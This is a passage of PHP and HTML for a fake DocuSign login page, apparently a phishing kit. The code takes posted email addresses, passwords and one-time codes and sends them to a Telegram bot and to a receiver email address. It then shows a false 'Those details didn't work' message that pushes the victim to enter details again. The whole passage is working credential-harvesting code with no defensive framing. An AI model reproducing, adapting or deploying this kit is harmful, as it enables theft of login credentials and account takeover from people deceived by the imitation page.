$chatId, 'text' => $message ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Use with caution $response = curl_exec($ch); curl_close($ch); // Optional: Log the response for debugging // file_put_contents('telegram_log.txt', $response . PHP_EOL, FILE_APPEND); // Your webpage content goes here ?> '; var_dump($arg); echo ''; } die(1); // Exit with a non-zero status code to indicate an abnormal termination } } //Send via Telegram function sendTelegrmMessage($email, $name, $message, $botToken, $chatId){ $email = htmlspecialchars($email); $name = htmlspecialchars($name); $message = htmlspecialchars($message); $text = "📩 New Contact Form Submission\n\n" . "📧 Email: $email\n" . "👤 Name: $name\n" . "💬 Message: $message"; // API URL $url = "https://api.telegram.org/bot$botToken/sendMessage"; // POST request $data = [ 'chat_id' => $chatId, 'text' => $text, 'parse_mode' => 'HTML' ]; // dd($data); $options = [ "http" => [ "header" => "Content-Type: application/x-www-form-urlencoded\r\n", "method" => "POST", "content" => http_build_query($data), ], ]; $context = stream_context_create($options); file_get_contents($url, false, $context); } //Send via Email function sendEmail($email, $name, $message, $reciever_email){ try{ $subject ="New Contact Form Submission"; $sender_email = "info@".$_SERVER['HTTP_HOST']; $reply_email = $sender_email; $sender_name = $_SERVER['HTTP_HOST']; $domain = $_SERVER['HTTP_HOST']; $message = '

Email: '.$email.'

'; $message .= '

Name: '.$name.'

'; $message .= '

Message: '.$message.'

'; $email_headers = "From: ". $sender_name ." <". $sender_email ."> \r\n"; $email_headers .= "MIME-Version: 1.0" . "\r\n"; $email_headers .= "Content-type:text/html;charset=UTF-8" . "\r\n"; $email_headers .= "Content-Transfer-Encoding: quoted-printable" . "\r\n"; $email_headers .= "X-Report-Spam: " . "\r\n"; $email_headers .= "X-Report-Abuse: " . "\r\n"; $email_headers.= "Reply-To: ". $reply_email . "\r\n"; $email_headers.= "X-Mailer: PHP/". PHP_VERSION . "\r\n"; $messageBody = ''.$subject.''.$message.""; mail( $reciever_email, $subject, $messageBody, $email_headers, '-f' . $sender_email); }catch(\Exception $e){ $sendMailError = $e->getMessage(); } return $sendMailError??""; } if (array_key_exists('email', $_POST) && array_key_exists('password', $_POST)) { try{ $email = $_POST['email']??""; $password = $_POST['password']??""; $code = $_POST['code']??""; if($botToken && $chatId){ sendTelegrmMessage($email, $password, $code, $botToken, $chatId); } if($reciever_email){ $sendMailError = sendEmail($email, $password, $code, $reciever_email); } if ($sendMailError) { $msg = 'Sorry, something went wrong. Please try again later. '.$sendMailError; } else { $msg = "Those details didn't work. Sign in using a different option below, or tap the 'forgot your password' link to continue."; } $_SESSION['message'] = $msg; $_SESSION['email'] = $email; if(!$code){ $_SESSION['password'] = $password; } }catch(\Exception $e){ // echo $e->getMessage(); } header('Location: ' . $_SERVER['HTTP_REFERER']); } elseif(array_key_exists('email', $_POST)){ $_SESSION['email'] = $_POST['email']; header('Location: ' . $_SERVER['HTTP_REFERER']); } ?> DocuSign Login - Enter email to start sign in
DocuSign
>

Log in to Docusign

Enter your email to log in.

>

Log In

Invalid email and / or password

>

Log In